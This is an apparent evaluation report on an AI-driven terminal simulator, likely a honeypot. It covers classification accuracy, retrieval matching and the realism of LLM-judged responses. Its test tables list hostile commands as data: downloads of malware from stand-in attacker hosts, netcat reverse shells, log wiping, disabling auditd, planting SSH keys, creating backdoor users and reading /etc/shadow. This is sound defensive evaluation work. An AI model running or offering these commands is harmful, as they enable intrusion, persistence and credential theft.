

Xynera AI Backend Evaluation Report

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Metadata	Value
Model Evaluated	llama-3.1-8b-instant (via Groq)
Classification Commands Tested	61
Retrieval Test Queries Tested	66
Generation Cases Evaluated	14

1. Summary Performance Dashboard

Below is a summary of performance metrics across all evaluated aspects:

Category	Metric Name	Value	Target/Description
Classification	Threat Category Accuracy	52.46%	100% target accuracy
Retrieval	KB Retrieval Accuracy	90.91%	>85% retrieval match
Response Quality	Average Generation Latency	4.98s	LLM response latency
Response Quality	No Markdown Code Blocks	100.00%	100% raw output
Response Quality	No Conversational Fluff	100.00%	100% terminal outputs
Response Quality	No Prompt Leakage	100.00%	100% prompt-free
Response Quality	Parameter Adaptation	85.71%	Adapt target IPs/filenames
LLM-as-a-Judge	Average Realism Rating	7.93 / 10	Evaluator realism score
LLM-as-a-Judge	Average Adherence Rating	8.07 / 10	Evaluator formatting score
LLM-as-a-Judge	Average Consistency Rating	9.21 / 10	Evaluator consistency score

2. Classification Performance Details

Class-wise precision, recall, and F1 metrics for the command classifier:

Attack Threat Class	Precision	Recall	F1-Score
Defense Evasion	0.0%	0.0%	0.00
Malware Download Attempt	100.0%	33.3%	0.50
Malware Execution Attempt	0.0%	0.0%	0.00
Network/User Enumeration	0.0%	0.0%	0.00
Permission Manipulation	0.0%	0.0%	0.00
Persistence Attempt	0.0%	0.0%	0.00
Persistence Creation	0.0%	0.0%	0.00
Privilege Enumeration	0.0%	0.0%	0.00
Privilege Escalation Attempt	100.0%	33.3%	0.50

Reconnaissance	66.7%	100.0%	0.80
Reverse Shell Attempt	0.0%	0.0%	0.00
SQL Injection Attempt	0.0%	0.0%	0.00
System Destruction Attempt	0.0%	0.0%	0.00
System Enumeration	0.0%	0.0%	0.00
Unknown	63.6%	75.7%	0.69

Classification Errors & Misclassifications:

Command Executed	Expected Class	Predicted Class
<code>curl -O http://malicious-site.net/miner.exe</code>	Malware Download Attempt	Unknown
<code>curl -s http://attacker.com/rev.sh bash</code>	Malware Download Attempt	Unknown
<code>chmod +x payload.sh</code>	Permission Manipulation	Unknown
<code>chmod 777 /var/www/html/uploads</code>	Permission Manipulation	Unknown
<code>nc -lvp 4444</code>	Reverse Shell Attempt	Unknown
<code>netcat -e /bin/bash 10.0.0.5 8080</code>	Reverse Shell Attempt	Unknown
<code>sqlmap -u "http://site.com/index.php?id=1" --dbs</code>	SQL Injection Attempt	Unknown
<code>history -c</code>	Defense Evasion	Unknown
<code>rm -rf /var/log/nginx</code>	Defense Evasion	System Destruction Attempt
<code>stop auditd</code>	Defense Evasion	Unknown
<code>echo "ssh-rsa AAAAB..." >> ~/.ssh/authorized_keys</code>	Persistence Creation	Persistence Attempt
<code>useradd -m -g root backdoor</code>	Persistence Creation	Unknown
<code>crontab -e</code>	Persistence Creation	Persistence Attempt
<code>find / -perm -4000 -type f 2>/dev/null</code>	Privilege Escalation Attempt	System Enumeration
<code>dirtycow</code>	Privilege Escalation Attempt	Unknown
<code>xmrig -o pool.mine.org</code>	Malware Execution Attempt	Unknown
<code>minerd --url pool</code>	Malware Execution Attempt	Unknown
<code>./tmp/miner</code>	Malware Execution Attempt	Unknown
<code>base64 -d exploit.b64 > exploit</code>	Malware Execution Attempt	Unknown
<code>ps aux</code>	Unknown	Network/User Enumeration
<code>netstat -antp</code>	Unknown	Network/User Enumeration
<code>ls -la /var/www</code>	Unknown	System Enumeration
<code>uname -a</code>	Unknown	System Enumeration
<code>ss -tulpn</code>	Unknown	Network/User Enumeration
<code>ping -c 4 8.8.8.8</code>	Unknown	Reconnaissance
<code>cat /etc/shadow</code>	Unknown	Privilege Enumeration
<code>cat /etc/gateway/router.conf</code>	Unknown	Privilege Enumeration
<code>mkdir /tmp/test</code>	Malware Execution Attempt	Unknown
<code>cat /etc/passwd</code>	Unknown	Privilege Enumeration

3. Retrieval Performance Details

Evaluation of vector store retrieval matching expected KB articles or returning None for out-of-scope queries:

Target KB Document	Precision	Recall	F1-Score
None	100.0%	93.3%	0.97
cat /etc/gateway/router.conf	100.0%	100.0%	1.00
cat /etc/shadow	100.0%	100.0%	1.00
cat /home/dev/backup_status.txt	100.0%	100.0%	1.00
cat /home/ubuntu/.env	100.0%	100.0%	1.00
cat /home/ubuntu/.ssh/backup_key	100.0%	100.0%	1.00
cat /home/ubuntu/.ssh/id_rsa	100.0%	100.0%	1.00
cat /var/www/internal/db_backup.sql	100.0%	100.0%	1.00
cat /var/www/internal/dev_tasks.md	100.0%	100.0%	1.00
chmod	100.0%	100.0%	1.00
crontab	0.0%	0.0%	0.00
crontab -e	0.0%	0.0%	0.00
curl	100.0%	100.0%	1.00
df	100.0%	100.0%	1.00
dmesg	100.0%	100.0%	1.00
docker	100.0%	100.0%	1.00
env	100.0%	100.0%	1.00
find	0.0%	0.0%	0.00
find / -perm -4000 -type f 2>/dev/null	0.0%	0.0%	0.00
free	100.0%	100.0%	1.00
grep	100.0%	100.0%	1.00
history	0.0%	0.0%	0.00
history -c	0.0%	0.0%	0.00
hostname	100.0%	100.0%	1.00
id	100.0%	100.0%	1.00
ifconfig	100.0%	100.0%	1.00
ip	100.0%	100.0%	1.00
iptables	100.0%	100.0%	1.00
last	100.0%	100.0%	1.00
ls	100.0%	100.0%	1.00
lsb_release	100.0%	100.0%	1.00
lscpu	100.0%	100.0%	1.00
mkdir	0.0%	0.0%	0.00

nc	0.0%	0.0%	0.00
nc -lvp 4444	0.0%	0.0%	0.00
netcat	100.0%	100.0%	1.00
netstat	100.0%	50.0%	0.67
netstat -antp	0.0%	0.0%	0.00
nmap	100.0%	100.0%	1.00
ping	100.0%	100.0%	1.00
ps	100.0%	100.0%	1.00
ss	100.0%	100.0%	1.00
systemctl	100.0%	100.0%	1.00
top	100.0%	100.0%	1.00
uname	100.0%	100.0%	1.00
uptime	100.0%	100.0%	1.00
w	100.0%	100.0%	1.00
wget	100.0%	100.0%	1.00
which	100.0%	100.0%	1.00
whoami	100.0%	100.0%	1.00

Retrieval Errors & Failures:

Query / Command	Expected KB Doc	Actual Retrieved Doc
nc -lvp 4444	nc	nc -lvp 4444
history -c	history	history -c
crontab -e	crontab	crontab -e
find / -perm -4000 -type f 2>/dev/null	find	find / -perm -4000 -type f 2>/dev/null
netstat -antp	netstat	netstat -antp
mkdir /tmp/test	None	mkdir

4. Response Quality & Simulation Realism Details

Detail of responses generated, including syntactic rule checks and LLM-as-a-Judge scores:

Command	Lat.	Rules Check	Rea l.	Adh .	Con s.	Judge Feedback / Reasoning
nmap -sS -v 192.168.1.1	6.1s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	10	10	The output is almost identical to the reference document, with the only minor difference being the lack of a timestamp in the 'Nmap done' line. However, this is a minor detail and the overall output is very realistic. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks, making it a perfect terminal output. The response is also logically consistent with the command executed, including the flags, arguments, and IP address.

wget http://malware.sh/payload.sh	0.8s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✗	8	1	9	The output is mostly realistic, but it lacks the exact timestamp and the 'Saving to' line is slightly off. The AI also added a security warning that is not present in a real Linux terminal. The response is consistent with the command executed, but the security warning is not.
chmod 777 /var/www/html/uploads	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✗	8	9	10	The output is mostly realistic, but it's missing the actual file modification time and ownership information that would be present in a real terminal. The AI did a good job of avoiding conversational fluff and explanations, but it could be improved by adding some minor details to make it look more authentic. The response is perfectly consistent with the command executed.
nc -lvp 4444	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	9	10	The output is very realistic, but it's missing the trailing newline character that a real Linux terminal would display. The AI avoided any conversational fluff, but the output is a single line, which is slightly less realistic than a multi-line output. The response is logically consistent with the command executed.
history -c	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	9	10	The output is very realistic, but it's missing the exact timestamp and username that a real Linux terminal would display. The AI avoided any conversational fluff, but it would be perfect if it didn't include a newline character at the end. The response is logically consistent with the command executed.
crontab -e	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	9	10	The output is mostly realistic, but it lacks the initial message 'no crontab for ubuntu - using an empty one' which is present in the reference document. The editor selection menu is correctly generated. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks. The response is logically consistent with the command executed.
find / -perm -4000 -type f 2>/dev/null	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	10	10	The output is very realistic, but it lacks the redirection of stderr to /dev/null as specified in the command. The output is clean and free of any conversational fluff or explanations.
ps aux	28.6s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	10	10	The output is very realistic, but it lacks the header line 'USER PID %CPU %MEM COMMAND' which is typically present in the output of the 'ps aux' command. The AI response is perfect in terms of adherence, as it does not contain any conversational fluff or explanations. The response is also logically consistent with the command executed.
netstat -antp	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	9	10	The output is very realistic, but it lacks the last line of the reference output which shows the established connection. The AI response is clean and free of any conversational fluff, but it could be improved by adding a newline character at the end to match the reference output. The response is logically consistent with the command executed.
ping -c 4 8.8.8.8	11.5s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	8	9	10	The output is very realistic, but it lacks the initial PING line with the hostname and IP address. The adherence is high because the output is mostly clean, but it's missing the initial PING line. The consistency is perfect because the output matches the command executed, including the flags, arguments, and IP address.

cat /home/ubuntu/.ssh/id_rsa	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	10	10	The output is almost identical to the reference document, with the only difference being the exact score. The AI avoided any conversational fluff, notes, apologies, explanations, or wrapping the output in markdown code blocks. The response is logically consistent with the command executed, as it correctly outputs the contents of the /home/ubuntu/.ssh/id_rsa file.
cat /home/ubuntu/.env	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	9	10	The output is very realistic and closely resembles what a real Linux terminal would output for this command. However, it's missing the file descriptor and the fact that it's reading from a file, which would typically be indicated by the file descriptor (e.g., 'cat: /home/ubuntu/.env: No such file or directory' or 'cat: /home/ubuntu/.env: Permission denied'). The output is free of any conversational fluff, notes, apologies, explanations, or wrapping in markdown code blocks, making it very adherent to the terminal output format. The response is logically consistent with the command executed, including the environment variables and database credentials.
mkdir /tmp/test	0.0s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	9	9	10	The output is very realistic, but it's missing the trailing newline character at the end. The AI avoided any conversational fluff, but it's possible that the output could be slightly more concise. The response is logically consistent with the command executed.
pwd	22.7 s	Blocks:✓ Fluff:✓ Prompt:✓ Adapt:✓	0	0	0	The output '/home/dev' is not realistic for the 'pwd' command, which should display the current working directory. A real Linux terminal would output something like '/home/dev' only if the user is currently in that directory, but the prompt would also include the username and the hostname. The AI response lacks this information. Additionally, the AI failed to provide the expected 'command not found' output as per the reference document.